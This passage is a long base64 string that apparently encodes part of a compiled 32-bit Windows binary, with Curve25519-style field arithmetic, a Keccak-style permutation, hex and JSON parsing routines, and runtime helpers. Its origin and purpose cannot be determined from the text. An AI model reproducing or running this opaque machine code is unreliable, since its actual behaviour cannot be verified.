i03Ui8HB+AiIRhGLwcH6GMH4EIhWD4tV9IhOEIheCYhGEsH5GIvCCsrB+AiIRhSLwsH4EIhGFYhOE4tN8IvBwfgIiEYXi8HB+BDB+hgK0YhGGIhWFotV7IvCwfgIiEYai8LB+RgKysH4EIhGG4hOGYtN6IvBwfgIiEYdi8HB+hgK0cH4EMH5GF+IVhyIRh6ITh9eW4vlXcNVi+yLVQhWi3UMV2oKK/JfiwwWKwqLRBYEG0IEiQqNUgiJQvyD7wF1519eXcNVi+xTi10MVleLfQgPtkMCmYvwi8oPtkMDmQ+kwggLysHgCAvwD7YDD6TxEJkzycHmEAvwD7ZDAZmB5v///wMPpMIIC8rB4AgL8IlPBIk3ikMGJAcPtsCZi8iL8g+2QwUPpM4ImcHhCAvyC8gPtkMED6TOCJnB4QgL8gvIikMDD6TOBsDoAg+2wJnB4QYL8gvIiXcMiU8IikMJJB8PtsCZi8iL8g+2QwgPpM4ImcHhCAvyC8gPtkMHD6TOCJnB4QgL8gvIikMGD6TOBcHhBcDoAw+2wJkLyAvyiU8QiXcUikMMJD8PtsCZi8iL8g+kzggPtkMLmQvyweEIC8gPtkMKD6TOCJkL8sHhCAvIikMJD6TOA8DoBQ+2wJkL8sHhAwvIiXcciU8YD7ZDD5mLyIvyD7ZDDg+kzgiZC/LB4QgLyA+2Qw0PpM4ImQvyweEIC8iKQwwPpM4CwOgGD7bAmQvyweECC8iJdySJTyAPtkMTmYvwi8oPtkMSD6TxCJnB5ggLygvwD7ZDEA+k8RCZM8nB5hAL8A+2QxGZgeb///8BD6TCCMHgCAvwC8qJdyiJTyyKQxYkBw+2wJmLyIvyD6TOCA+2QxWZweEIC/ILyA+2QxQPpM4ImcHhCAvyC8iKQxMPpM4H0OgPtsCZweEHC/ILyIl3NIlPMIpDGSQPD7bAmYvIi/IPtkMYD6TOCJnB4QgL8gvID7ZDFw+kzgiZweEIC/ILyIpDFg+kzgXA6AMPtsCZweEFC/ILyIl3PIlPOIpDHCQ/D7bAmYvIi/IPtkMbD6TOCJnB4QgL8gvID7ZDGg+kzgiZweEIC/ILyIpDGQ+kzgTB4QTA6AQPtsCZC8gL8olPQIl3RIpDHyR/D7bAmYvIi/IPtkMeD6TOCJnB4QgL8gvID7ZDHQ+kzgiZweEIC/ILyIpDHA+kzgLA6AYPtsDB4QKZC8gL8ol3TIlPSF9eW13DVYvsgezIAQAAVot1GFdqFFn/dRyNvYD+////dRjzpehwDQAAjYWA/v//UP91HOjM/P//i3Ugjb2A/v//ahRZ/3Uk86X/dSDoSA0AAI2FgP7//1D/dSTopPz///91HI2F0P7///91IFDoJQIAAP91JI2FaP////91GFDoEwIAAI2F0P7//1Do6QcAAI2F0P7//1DoyQYAAIPEQI2FaP///1DozgcAAI2FaP///1DorgYAAGoUWY2FaP///1CNhdD+//+NtdD+//+NvYD+///zpVDovgwAAI2FgP7//1CNhWj///9Q6Bb8//+NhdD+//9QjYU4/v//UOgoCQAAjYVo////UI2F0P7//1DoFQkAAP91KI2F0P7//1CNhWj///9Q6G0BAACNhWj///9Q6EMHAACNhWj///9Q6CMGAACLfRCNtTj+//9qFFnzpYt9FI2FOP7//2oUWf91GI21aP////OlUOi8CAAAg8REjYVo/////3UcUOiqCAAAjYVo////UI2FOP7//1D/dQjoAgEAAP91COjcBgAA/3UI6MAFAACNhTj+//9QjYVo////UOhM+///akiNhSD///9qAFDoPav//4PEMDP2agBoQdsBAP+0NWz/////tDVo////6AMpAACJhDXQ/v//iZQ11P7//4PGCIP+UHLQjYXQ/v//UOhcBQAAjYU4/v//UI2F0P7//1DofQsAAI2F0P7//1CNhWj///9Q/3UM6GUAAAD/dQzoPwYAAP91DOgjBQAAg8QgX16L5V3DVYvsgeyYAAAAjYVo////Vlf/dRD/dQxQ6C8AAACNhWj///9Q6AUGAACNhWj///9Q6OUEAACLfQiNtWj///+DxBRqFFnzpV9ei+Vdw1WL7ItNCFOLXQxWV4t9EIsD9y+JAYlRBItDCPcvi8iL8osD928IA8iLRQgT8olICIlwDItDCPdvCIvIi/KLA/dvEA+kzgEDyQPIi0MQE/L3LwPIi0UIE/KJSBCJcBSLA/dvGIvIi/KLQwj3bxADyItDEBPy928IA8iLQxgT8vcvA8iLRQgT8olIGIlwHItDGPdvCIvIi/KLQwj3bxgDyItDEBPy928QD6TOAQPJA8iLQyAT8vcvA8iLAxPy928gA8iLRQgT8olIIIlwJIsD928oi8iL8otDCPdvIAPIi0MYE/L3bxADyItDIBPy928IA8iLQygT8vcvA8iLQxAT8vdvGAPIi0UIE/KJSCiJcCyLQxj3bxiLyIvyi0Mo928IA8iLQwgT8vdvKAPIi0MgE/L3bxAPpM4BA8kDyIsDE/L3bzADyItDMBPy9y8DyItDEBPy928gA8iLRQgT8olIMIlwNItDGPdvIIvIi/KLQxD3bygDyItDKBPy928QA8iLQzAT8vdvCAPIi0MgE/L3bxgDyBPyiwP3bzgDyItDCBPy928wA8iLQzgT8vcvA8iLRQgT8olIOIlwPItDOPdvCIvIi/KLQwj3bzgDyItDGBPy928oA8iLQygT8vdvGAPIi0MQE/L3bzAPpM4BA8kDyItDIBPy928gA8iLAxPy929AA8iLQzAT8vdvEAPIi0NAE/L3LwPIi0UIE/KJSECJcESLQyD3byiLyIvyi0NA928IA8iLAxPy929IA8iLQ0gT8vcvA8iLQwgT8vdvQAPIi0MwE/L3bxgDyItDGBPy928wA8iLQzgT8vdvEAPIi0MQE/L3bzgDyItDKBPy928gA8iLRQgT8olISIlwTItDGPdvOIvIi/KLQzj3bxgDyItDSBPy928IA8iLQygT8vdvKAPIi0MIE/L3b0gDyItDIBPy928wD6TOAQPJA8iLQzAT8vdvIAPIi0NAE/L3bxADyItDEBPy929AA8iLRQgT8olIUIlwVItDGPdvQIvIi/KLQzj3byADyItDQBPy928YA8iLQxAT8vdvSAPIi0MoE/L3bzADyItDIBPy9284A8iLQzAT8vdvKAPIi0NIE/L3bxADyItFCBPyiUhYiXBci0NI928Yi8iL8otDOPdvKAPIi0MYE/L3b0gDyItDKBPy9284A8iLQ0AT8vdvIA+kzgEDyQPIi0MgE/L3b0ADyItDMBPy928wA8iLRQgT8olIYIlwZItDIPdvSIvIi/KLQzD3bzgDyItDSBPy928gA8iLQzgT8vdvMAPIi0NAE/L3bygDyItDKBPy929AA8iLRQgT8olIaIlwbItDOPdvOIvIi/KLQyj3b0gDyBPyi0NI928oA8iLQzAT8vdvQA+kzgEDyQPIi0NAE/L3bzADyItFCBPyiUhwiXB0i0M4929Ai8iL8otDQPdvOAPIi0MwE/L3b0gDyItDSBPy928wA8iLRQgT8olIeIlwfItDSPdvOIvIi/KLQzj3b0gDyItDQBPy929AD6TOAQPJA8iLRQgT8omIgAAAAImwhAAAAItDSPdvQIvIi/KLQ0D3b0gDyItFCBPyiYiIAAAAi8iJsYwAAACLQ0j3b0hfD6TCAV4DwImRlAAAAImBkAAAAFtdw1WL7IPsDItFCFNWx0X4BQAAAINgUACDYFQAg8AIiUX0iUX8V4t4/DPSi1j4i/fB/h/B7gYD8xPXD6zWGsH6GovGi8oPpMEaweAaK9iLRfwb+QEwiXj8EVAEM9KLeASL98H+H4lY+IsYwe4HA/MT1w+s1hnB+hmLxovKD6TBGcHgGSvYi0X8G/kBcAiJGBFQDIl4BIPAEINt+AGJRfx1hYt9CItXUIvCi3dUi84PpMEEweAEAQeLwhFPBIvOD6TBAQPAAQcRTwQBF4sfEXcEM9KDZ1AAg2dUAIt/BIv3wf4fwe4GA/MT1w+s1hrB+hqLxovKD6TBGsHgGivYi0UIG/mJGIl4BItF9F8BMF4RUARbi+Vdw1WL7FZXi30Ii5eQAAAAi8KLt5QAAACLzg+kwQTB4AQBR0CLwhFPRIvOD6TBAQPAAUdAEU9EAVdAi5eIAAAAi8IRd0SLt4wAAACLzg+kwQTB4AQBRziLwhFPPIvOD6TBAQPAAUc4EU88AVc4i5eAAAAAi8IRdzyLt4QAAACLzg+kwQTB4AQBRzCLwhFPNIvOD6TBAQPAAUcwEU80AVcwi1d4i8IRdzSLd3yLzg+kwQTB4AQBRyiLwhFPLIvOD6TBAQPAAUcoEU8sAVcoi1dwi8IRdyyLd3SLzg+kwQTB4AQBRyCLwhFPJIvOD6TBAQPAAUcgEU8kAVcgi1doi8IRdySLd2yLzg+kwQTB4AQBRxiLwhFPHIvOD6TBAQPAAUcYEU8cAVcYi1dgi8IRdxyLd2SLzg+kwQTB4AQBRxCLwhFPFIvOD6TBAQPAAUcQEU8UAVcQi1dYi8IRdxSLd1yLzg+kwQTB4AQBRwiLwhFPDIvOD6TBAQPAAUcIEU8MAVcIi1dQi8IRdwyLd1SLzg+kwQTB4AQBB4vCEU8Ei84PpMEBA8ABBxFPBAEXEXcEX15dw1WL7IHsmAAAAI2FaP///1ZX/3UMUOgvAAAAjYVo////UOgq/v//jYVo////UOgK/f//i30IjbVo////g8QQahRZ86VfXovlXcNVi+xTi10IVleLfQyLB/foiQOJUwSLB/dvCA+kwgEDwIlTDIlDCIsH928Qi8iL8otHCPfoA8gT8g+kzgGJcxQDyYlLEIsH928Yi8iL8otHCPdvEAPIE/IPpM4BiXMcA8mJSxiLRwj3bxiLyIvyiwf3byAPpM4BA8kDyItHEBPyD6TOAffoA8kDyIlLIBPyiXMki0cI928gi8iL8otHEPdvGAPIiwcT8vdvKAPIE/IPpM4BA8mJcyyJSyiLRwj3byiLyIvyi0cQD6TOAQPJ928gA8iLRxgT8vfoA8iLBxPy928wA8gT8g+kzgGJczQDyYlLMItHGPdvIIvIi/KLB/dvOAPIi0cQE/L3bygDyItHCBPy928wA8gT8g+kzgGJczwDyYlLOItHCPdvOIvIi/KLRxj3bygDyIsHE/L3b0APpM4BA8kDyItHEBPy928wA8iLRyAT8vfoD6TOAQPJA8iJS0AT8olzRItHIPdvKIvIi/KLRxD3bzgDyItHCBPy929AA8iLRxgT8vdvMAPIiwcT8vdvSAPIE/IPpM4BiXNMA8mJS0iLRxj3bziLyIvyi0cI929IA8iLRyAT8vdvMA+kzgEDyQPIi0cQE/L3b0ADyItHKBPy9+gDyBPyD6TOAYlzVAPJiUtQi0cY929Ai8iL8otHIPdvOAPIi0coE/L3bzADyItHEBPy929IA8gT8g+kzgGJc1wDyYlLWItHKPdvOIvIi/KLRxj3b0gDyItHIBPy929AD6TOAQPJA8iLRzAT8vfoD6TOAQPJA8iJS2AT8olzZItHIPdvSIvIi/KLRyj3b0ADyItHMBPy9284A8gT8g+kzgGJc2wDyYlLaItHKPdvSIvIi/KLRzj36A+kzgEDyQPIi0cwE/L3b0ADyBPyD6TOAYlzdAPJiUtwi0cw929Ii8iL8otHOPdvQAPIE/IPpM4BiXN8A8mJS3iLRzj3b0iLyIvyi0dA9+gPpM4CweECA8iJi4AAAAAT8omzhAAAAItHQPdvSA+kwgEDwImTjAAAAImDiAAAAItHSPfoXw+kwgFeA8CJk5QAAACJg5AAAABbXcNVi+yLRQhWV4t9DDP2i9eNSAgr0IsE9wFB+ItE9wQRQfyLBAoBAYtECgQRQQSDxgKNSRCD/gpy3F9eXcNVi+yLTQgzTQz30YvBweAQI8iLwcHgCCPIi8HB4AQjyIvBweACI8iNBAnB+R/B+B8jwV3DVYvsU4tdEFaLdQz321eLfQgr/sdFFAoAAACLBDeLDjPII8szwZmJBDeJVDcEiwYzwYNtFAGZiQaNdgiJVvx12l9eW13DVYvsgezMAAAAg30IAFNWVw+EHAEAAItdEIt9FIXbdQiF/w+FCgEAAIt1GLjIAAAAO/APg/oAAABQjYU0////agBQ6HCe//+DxAw7/nJGi8ONjTT///8rwYlF/DPShfZ0GIt9/I2NNP///wPKigQPMAFCO9Zy7ot9FI2FNP///1DotwAAAAF1/Cv+A96JfRRZO/5zx4pFHDCEPTT///+AtDUz////gIX/dByNhTT///8r2DPSjY00////A8qKBAswAUI713LujYU0////UOhqAAAAi30Mi0UIWTv+ci2F9nQRVo2NNP///1FQ6KOd//+DxAyNhTT///9Q6D4AAACLRQgDxiv+iUUI686F/3QRV42VNP///1JQ6Had//+DxAwywI29NP///7nIAAAA86ozwOsDg8j/X15bi+Vdw1WL7IPsKFNWi3UIV8dF2Aj7ABCLXhAzXjgzXmAznogAAAAznrAAAACLBjNGKDNGUDNGeDOGoAAAAItOBDNOLDNOVDNOfDOOpAAAAItWFDNWPDNWZDOWjAAAADOWtAAAAIt+IDN+SDN+cDO+mAAAADO+wAAAAIld+IteGDNeQDNeaDOekAAAADOeuAAAAIlF8ItGCDNGMDNGWDOGgAAAADOGqAAAAIlN9ItODDNONDNOXDOOhAAAADOOrAAAAIlV3ItWHDNWRDNWbDOWlAAAADOWvAAAAIld5IteJDNeTDNedDOenAAAADOexAAAAIvxiUXsiU3oD6TBAcHuHwPAiVXgC/CJXfyLRQgz0otdCAvRi84zCIvCM0MEM88zRfyJC4vLiUEEi86LwjPPM0X8MUsoi8sxQSyLzovDM0hQi8IzQ1QzzzNF/IlLUIvLiUFUi86LwzNIeIvCM0N8M88zRfyJS3iLy4lBfDOxoAAAADORpAAAADP3M1X8ibGgAAAAiZGkAAAAM9KLTdyL8YtF+A+kwQHB7h8L0QPAC/CLw4vOM0gIi8IzQwwzTfAzRfSJSwiLy4lBDIvDi84zSDCLwjNDNDNN8DNF9IlLMIvLiUE0i84zTfCLwjFLWIvLM0X0MUFci84zTfCLwjGLgAAAAIvLM0X0M3XwM1X0MYGEAAAAMbGoAAAAMZGsAAAAi03gi/GLReTB7h8PpMEBA8Az0gvwC9GLw4vOM0gQi8IzQxQzTewzReiJSxCLy4lBFIvDi84zSDiLwjNDPDNN7DNF6IlLOIvLiUE8i8OLzjNIYIvCM0NkM03sM0XoiUtgi8uJQWSLw4vOM4iIAAAAi8Izg4wAAAAzTewzReiJi4gAAACLy4td/ImBjAAAADOxsAAAADORtAAAADN17DNV6ImxsAAAAIvziZG0AAAAM9IPpPsBwe4fA/8L04td3Av3i30Ii84zTfiLwjPDMU8Yi88xQRyLx4vOM0hAi8IzTfgzR0SJT0Azw4vPiUFEi8eLzjNIaIvCM0dsM034M8OJT2iLz4lBbIvOi8cziJAAAACLwjOHlAAAADNN+DPDiY+QAAAAi8+JgZQAAAAzsbgAAAAzkbwAAAAzdfgz04mxuAAAAIvfiZG8AAAAM9KLTfSL8YtF8A+kwQHB7h8L0QPAC/CLwjNDJIvOM0sgM03kM0XgiUsgi8uLXeCJQSSLzjNN5IvCMU9IM8OLzzFBTIvHi84zSHCLwjNHdDNN5DPDiU9wi8+JQXSLx4vOM4iYAAAAi8IzTeQzh5wAAACJj5gAAAAzw4vPiYGcAAAAM7HAAAAAM5HEAAAAM3XkM9OJscAAAACJkcQAAACLcQiLUQyLWVCLeVSLysHpHw+k8gEzwAvCA/YLzot1CIlOUIvPiUZUi0Y4i1Y8D6TfA8HpHYlF3DPAC8fB4wOJRjwLy4lOODPAi35Yi8qLdlyLXdwPpNoGwekaC8LB4waLVQgLy4lKWIvOiUJcM8CLmogAAACLkowAAAAPpP4KwekWC8bB5wqLdQgLz4mOiAAAAIvKiYaMAAAAM8CLvpAAAACLtpQAAAAPpNoPwekRC8LB4w+LVQgLy4mKkAAAAIvOiYKUAAAAM8CLWhiLUhwPpP4VwekLC8bB5xWLdQgLz4lOGIvKiUYcM8CLfiiLdiwPpNocwekEweMcC8sLwotVCIlKKIlCLIuagAAAAIvPi5KEAAAAM8APrPccweEEwe4cC8cLzot1CImOhAAAAIvLiYaAAAAAM8CLfkCLdkQPrNMTweENweoTC8MLyotVCIlKRIvPiUJAM8CLmqgAAACLkqwAAAAPrPcJweEXwe4JC8cLzot1CImOrAAAAIvKiYaoAAAAM8CLvsAAAACLtsQAAAAPpNoCwekeC8LB4wKLVQgLy4mKwAAAAIvOiYLEAAAAM8CLWiCLUiQPpP4OwekSC8bB5w6LdQgLz4lOIIvKiUYkM8CLfniLdnwPpNobwekFC8LB4xuLVQgLy4lKeIvPiUJ8M8CLmrgAAACLkrwAAAAPrPcXweEJwe4XC8cLzot1CImOvAAAAIvLiYa4AAAAM8CLvpgAAACLtpwAAAAPrNMIweEYC8PB6ggLyotVCImKnAAAAIvOiYKYAAAAM8CLWmiLUmwPpP4IwekYC8bB5wiLdQgLz4lOaIvKiUZsM8CLfmCLdmQPpNoZwekHC8LB4xmLVQgLy4lKYIvPiUJkM8CLWhCLUhQPrPcVweELwe4VC8cLzot1CIlOFIvLiUYQM8CLvqAAAACLtqQAAAAPrNMCweEeweoCC8MLyotVCImCoAAAADPAiYqkAAAAi86LWnCLUnQPpP4SwekOwecSC8YLz4t9CIlPcIvLiUd0i4ewAAAAi7e0AAAAiUXcM8DB4QcPrNMZC8PB6hmJh7AAAAALyomPtAAAADPAi19Ii39Mi1Xci8rB4R0PrPIDC8LB7gOLVQgLzolKTIvPiUJIM8CLcjCLUjTB6QwPpN8UC8fB4xSLfQgLy4lPMIvOiUc0M8DB4QwPrNYUC8bB6hSJRwgLyolPDIsHi08Ii18Yi3cQi1cUiUXgi0cEiUXki0cMi38ciUXoi0UIiU3099Ejzold3DNN4ItAIItdCIlF7ItFCItAJIlF8ItF6IkL99AjwovLM0XkiUEEi8730YvCI03c99AzTfQjxzNF6IlLCIvLiUEMi03ci8f30PfRI0XwI03sM8IzzovTiUIUiUoQi0Xwi03s99AjReT30SNN4DPHM03ci/qJRxyJTxiLTeCLReT30SNN9PfQI0XoM0XwM03siUckiU8gi0coi08wi19Ai3c4i1c8iUXgi0csiUXki0c0i39EiUXoi0UIiU3099Ejzold3DNN4ItASItdCIlF7ItFCItATIlF8ItF6IlLKPfQI8KLyzNF5IlBLIvO99GLwiNN3PfQM030I8czReiJSzCLy4lBNIvHi03c99AjRfD30SNN7DPOM8KL04lCPIlKOItF8ItN7PfQI0Xk99EjTeAzxzNN3Iv6iU9AiUdEi03gi0Xk99EjTfT30CNF6DNF8DNN7IlPSIlHTItHUItPWItfaIt3YItXZIlF4ItHVIlF5ItHXIt/bIlF6ItFCIlN9PfRI86JXdwzTeCLQHCLXQiJReyLRQiLQHSJS1CLy4lF8ItF6PfQI8IzReSJQVSLzvfRi8IjTdz30DNN9CPHM0XoiUtYi8uJQVyLx4tN3PfQI0Xw99EjTewzwovTM86JSmCLTeyJQmT30YtF8CNN4PfQI0XkM03cM8eL+olPaIlHbItN4ItF5PfRI03099AjRegzRfAzTeyJT3CJR3SLR3iLj4AAAACLn5AAAACLt4gAAACLl4wAAACJReCLR3yJReSLh4QAAACLv5QAAACJReiLRQiJTfT30SPOiV3cM03gi4CYAAAAi10IiUXsi0UIi4CcAAAAiUt4i8uJRfCLRej30CPCM0XkiUF8i8730YvCI03c99AzTfQjxzNF6ImLgAAAAIvLiYGEAAAAi8eLTdz30CNF8PfRI03sM8IzzovTiYqIAAAAi03siYKMAAAA99GLRfAjTeD30DNN3CNF5DPHi/qJj5AAAACLTeCJh5QAAAD30SNN9DNN7ItF5ImPmAAAAPfQI0XoM0XwiYecAAAAi4egAAAAi4+oAAAAi7ewAAAAi5+4AAAAiUXgi4ekAAAAi5e0AAAAiUXki4esAAAAi7+8AAAAiUXoi0UIiU3099Ejzold3DNN4IuAwAAAAItdCIlF7ItFCIuAxAAAAImLoAAAAIvLiUXwi0Xo99AjwjNF5ImBpAAAAIvO99GLwiNN3PfQM030I8czReiJi6gAAACLy4mBrAAAAIvHi03c99AjRfD30SNN7DPCM86L04vyiYqwAAAAi03siYK0AAAA99EjTeCLRfAzTdz30CNF5DPHiYu4AAAAi03giYO8AAAA99GLReQjTfT30CNF6DNN7DNF8ImOwAAAAImGxAAAAItN2IsBMQaLQQSDwQgxRgSJTdiB+cj7ABAPjDz0//9fXluL5V3DVYvsg30MIHYFg8j/XcNqBmiIAAAA/3UU/3UQ/3UM/3UI6MDy//+DxBhdw1WL7IpFCI1I0ID5CXcELDBdww++wIP4YX8QdAqD6EF0BYPoAesHsApdw4PoYnQog+gBdB+D6AF0FoPoAXQNg+gBdAQM/13DsA9dw7AOXcOwDV3DsAxdw7ALXcNVi+yLTQiLVQxWi0EIizErxjvCcwQzwOsVg3kMAHQKjQQWiQE7QQx37FL/URRZXl3DVYvsg+xwU1ZXM9uNRZBqNFNQiV3g6MyQ//+LRRCDxAyJXdyJXdCJXcSJXciLXQyJXcyD+ANyGoA773UVgHsBu3UPgHsCv3UJg8MDg+gDiV3Mi3UIjX2c3QXI+wAQA8OJReSDyP9qBlnzpYlFlIPoCINtlAiJRZgzwECJRbSDZewAM/8hfegz9moIWol9EIl19Il18IlV+MdFvAEAAACJXbg7XeR1BDLJ6wKKC4hND/bCIA+EOQMAAITJD4RPCwAAO32UD4dGCwAA9sIQD4TWAgAAg+LvD77BiVX43diD6GIPhKsCAACD6AQPhJICAACD6AgPhHkCAACD6AQPhGACAABIg+gBD4RGAgAAg+gBdAiLRbTpWAMAAItF5CvDg/gED47rCgAAQ4lduA+2A1DoQf7//4hFD1k8/w+E0goAAEOJXbgPtgtR6Cj+//+IRRNZPP8PhLkKAABDiV24D7YLUegP/v//iEULWTz/D4SgCgAAQ4lduA+2C1Ho9v3//4hF/1k8/w+EhwoAAIpFDw+2TRPA4AQPtvCKRQsL8cDgBIvOD7bAweEIC8iJddgPtkX/C8iLwYlN2CUA+AAAPQDYAAAPhboAAACLReQrw4P4Bg+OPAoAAEOJXbiAO1wPhS8KAABDiV24gDt1D4UiCgAAQ4lduA+2A1DoeP3//1k8/w+EDAoAAEOJXbgPtgNQ6GL9//+IRQ9ZPP8PhPMJAABDiV24D7YLUehJ/f//iEUTWTz/D4TaCQAAQ4lduA+2C1HoMP3//4hFC1k8/w+EwQkAAIt12A+2TQ+B5r8DAACKRRODzkCD4QPB5gIL8cDgBIvOD7bAweEIC8iJddgPtkULC8iLRbSD+X93FoXAdQaLdeyIDDdHi3X0iX0Q6UkJAACB+f8HAAB3K4XAdAWDxwLr5It17IvBwegGgOE/DMCAyYCIBDeITDcBg8cCiX0Q6RAJAACB+f//AAB3MoXAdAWDxwPrsYt17IvBwegMDOCIBDeLwcHoBoDhPyQ/gMmADICIRDcBiEw3AoPHA+u+hcB0CIPHBOl8////i3Xsi8HB6BIM8IgEN4vBwegMJD8MgIhENwGLwcHoBoDhPyQ/gMmADICIRDcCiEw3A4PHBOl5////i0W0hcB1R4tN7MYEDwnrPotFtIXAdTeLTezGBA8N6y6LRbSFwHUni03sxgQPCusei0W0hcB1F4tN7MYEDwzrDotFtIXAdQeLTezGBA8IR4l9EOlACAAAgPlcdQ2DyhDd2IlV+OkuCAAAgPkiD4WrAAAAhcB1B4tF7MYEBwCLRgSD4t+DZewAiVX4g+gBdFKD6ASLRbR1CYPKAYl+CIlV+PZFoAEPhBkBAAD3wgBgAAAPhMYAAAD3wgAgAAB0d93YgPkNdA2A+Qp0CITJD4XFBwAAgeL/3///S4lV+Om2BwAAg320AN3YdAiNRwEBRgzrIWtWCAyLTgyLRhCJBAprTggMi0YMi1X4iXwBBI1HAQFGEIPKSIlV+Ol3BwAA3diFwA+FJ////4t17IgMN4t19OkZ////98IAQAAAD4SCAAAA3diEyQ+EdQcAAID5Kg+FQwcAAItF5Eg72A+DNAcAAIB7AS+LRbQPhSoHAACB4v+///9DiVX46RsHAACA+S91Qt3Y9sKIdQqDfgQBD4UuBwAAQ4lduDtd5A+EIQcAAIoDPCp0EzwvD4UTBwAAgcoAIAAA6V3///+BygBAAADpUv///4TSeT6EyQ+E1AYAAA++wd3Yg+gJD4S3BgAAg+gBdBeD6AMPhKkGAACD6BMPhcwGAADpmwYAAP9FvINlwADpjwYAAPbCCA+ERQMAAA++wd3Yg+gJD4R4BgAAg+gBdNiD6AMPhGoGAACD6BMPhGEGAACD6D0PhPoCAAD2wgR0EYD5LA+FdgYAAIPi++nD/v//9sJAdBGA+ToPhWAGAACD4r/prf7//4Pi94lV+ID5Ig+EewIAAID5Ww+EOQIAAID5Zg+EtQEAAID5bg+EcwEAAID5dA+E9wAAAID5ew+EuwAAAID5MHwFgPk5fgmA+S0PhQkGAABqA41F4FCNRehQjUXwUI1FkFDo1gYAAIPEFIXAD4TnBQAAg320AItduHVFikUPi33kPDB8BDw5fhQ8K3QQPC10DDxldAg8RXQEPC51DEOJXbg733QEigPr2ItV+It18IPKA4t9EIlV+Il19OnpBAAAi1X4g2XcAIHi/+D//4NlxACDZcgAg2XQAIB9Dy2LdfCJdfR0CIPKAuk9BAAAgcoAAQAA6bb9//9qAY1F4FCNRehQjUXwUI1FkFDoLgYAAIPEFIXAD4Q/BQAAi3Xwi124i1X4iXX06QIFAACLReQrw4P4Aw+MIAUAAEOJXbiAO3IPhRMFAABDiV24gDt1D4UGBQAAQ4lduIA7ZQ+F+QQAAGoGjUXgUI1F6FCNRfBQjUWQUOjGBQAAg8QUhcAPhNcEAACLdfAzwItV+ECLXbgL0Il19IlGCIlV+OkLBAAAi0XkK8OD+AMPjK0EAABDiV24gDt1D4WgBAAAQ4lduIA7bA+FkwQAAEOJXbiAO2wPhYYEAABqB+tEi0XkK8OD+AQPjHQEAABDiV24gDthD4VnBAAAQ4lduIA7bA+FWgQAAEOJXbiAO3MPhU0EAABDiV24gDtlD4VABAAAagaNReBQjUXoUI1F8FCNRZBQ6A0FAACDxBSFwA+EHgQAAItV+It18IPKAYtduIlV+Il19OlXAwAAagKNReBQjUXoUI1F8FCNRZBQ6NQEAACDxBSFwA+E5QMAAItV+It18IPKCItduIlV+Il19OmiAwAAagWNReBQjUXoUI1F8FCNRZBQ6JsEAACDxBSFwA+ErAMAAIt18ItV+ItduIPKIDP/iVX4i04MiXX0iU3siX0Q6V4DAACF9g+EggMAAIN+BAIPhXgDAACD4vODygHpPgIAAI1GBIswiUUIg/4BD4QyAgAAjUb9g/gBD4ebAgAAisEsMDwJD4fCAAAAi0Xc3dhAiUXcg/4DdDv3wgAEAAAPhYoAAABqAGoK/3XID77B/3XEg+gwmYvwi/roygUAAAPwiXXEE/qLVfiJfciLfRDpzAIAAPfCAAQAAHVTvgACAACF1g+F5gIAAIP4AXUKgPkwdQUL1olV+A++wYPoMJmL8Iv6i0X0agBqCv9wDP9wCOh0BQAAA/CLRfQT+otV+IlwCIvwiX4Mi30Q6XQCAABrTdAKgcoACAAAD75FD4PA0IlV+APBiUXQ6VMCAACA+St0NoD5LXQxgPkudVmD/gN1VIN93ADd2A+EYgIAAItFCIt19INl3ADHAAQAAADfbgjdXgjpGwIAAIvCJQAMAAA9AAQAAHUfi8Ld2A0ACAAAi9CBygAQAACA+S0PRdCJVfjp6wEAAPfCAAQAAHV/g/4EdUKLRdyFwA+EAAIAAN9txFBRUd1d1N1F1N1d1N0cJOiKAgAA3H3Ug8QMi0X0i3Xwi124i1X4ik0PiXX03EAI3VgI6wWLdfTd2ID5ZXQFgPlFdV2LRQiBygAEAACDOAN1DMcABAAAAN9uCN1eCINl3ACB4v/9///p6Pn//4N93AAPhIcBAACLRdCLyPfZgeIAEAAAD0XBUFFR3Rwk6A0CAACLdfSDxAyLVfjcTgjdXgj3wgABAAB0JYtFCIM4A3UVi04Ii0YM99mJTgiD0AD32IlGDOsI3UYI2eDdXgiDygOJVfjreg++wd3Yg+gJD4TtAAAAg+gBD4TdAAAAg+gDD4TbAAAAg+gTD4TSAAAASIPoAXQng+gKdBSD6FEPhe0AAACD4vuDygGJVfjrL/bCBA+E2QAAAIPi++vt9sIED4XLAAAAi3X0g8ogM/+JVfiJfRCLRhCJRezrBd3Yi3X09sICdAqD4v1LiVX4iV249sIBdHCLBoPi/oPKBIvKhcB1C4HKgAAAAOnY+P//g8oIg3gEAg9F0YN9tACJVfh1I4tIBIPpAXQQg+kBdRaLSAiLQAyJNIjrC2tICAyLQAyJdAEIiwb/QAiLQAg7RZR3QIs2iXX0iXXw6wr/RbyDZcAAi3X0i0W03QXI+wAQQ+mq9P//g220AYtF6IlF4HgLi0W0i13M6XL0///d2Os03diLXbSF24tF4A9FReiFwHQOi3AQUP9VqIvGWYX2dfKF23UO/3XojUWcUOgLAAAAWVkzwF9eW4vlXcNVi+xWi3UMhfZ0WIMmAFeLfQiLRgSD6AF0H4PoAXQHg+gDdSPrGotOCIXJdBOLRgxJiU4IizSI6yWLRgiFwHUQ/3YM/1cMWVaLNv9XDFnrDkhryAyJRgiLRgyLdAEIhfZ1sF9eXcNVi+xTi10Qhdt1BNno6zPdRQiLw5krwtH4UFFR3Rwk6Nz///+DxAz2wwF1BNzI6xKF234J2cDcTQjeyesF3MjcdQhbXcNVi+yLVQhTM9tWVzlaJA+FhQAAAItNFItFDIsxiTCLAYtAEIkBi0UQORh1Aokwi0YEg+gBdDiD6AF0D4PoAw+FkwAAAItGCEDrDotGCIXAD4SCAAAAweACU1BS6Hry//+DxAyJRgyFwHUqM8DrbItGCIXAdGJr+AyLRgxTA8dQUuhV8v//g8QMiUYMhcB02wPHiUYQiV4I6z6LQiBqAYPAGFBS6DLy//+LyIPEDIXJdLmLRRA5GHUCiQiLdQyLRRiLfRSJQQSLBokBixeF0nQDiUoQiQ6JDzPAQF9eW13DzMzMzMzMzFGNTCQEK8gbwPfQI8iLxCUA8P//O8jycguLwVmUiwCJBCTywy0AEAAAhQDr58zMzIM99CABEAB0N1WL7IPsCIPk+N0cJPIPLAQkycODPfQgARAAdBuD7ATZPCRYZoPgf2aD+H90042kJAAAAACNSQBVi+yD7CCD5PDZwNlUJBjffCQQ32wkEItUJBiLRCQQhcB0PN7phdJ5HtkcJIsMJIHxAAAAgIHB////f4PQAItUJBSD0gDrLNkcJIsMJIHB////f4PYAItUJBSD2gDrFItUJBT3wv///391uNlcJBjZXCQYycPMzMzMzMzMzMzMzItEJAiLTCQQC8iLTCQMdQmLRCQE9+HCEABT9+GL2ItEJAj3ZCQUA9iLRCQI9+ED01vCEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA